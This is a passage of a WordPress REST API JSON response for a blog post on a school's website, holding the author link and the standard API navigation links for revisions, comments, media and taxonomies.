Rais"},"url":"https:\/\/www.altaglobalschool.com\/blog\/author\/muhammad-azka-rais"}]}},"_links":{"self":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/711","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/users\/19"}],"replies":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/comments?post=711"}],"version-history":[{"count":6,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/711\/revisions"}],"predecessor-version":[{"id":1910,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/711\/revisions\/1910"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/711"}],"wp:attachment":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/media?parent=711"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/categories?post=711"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/tags?post=711"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}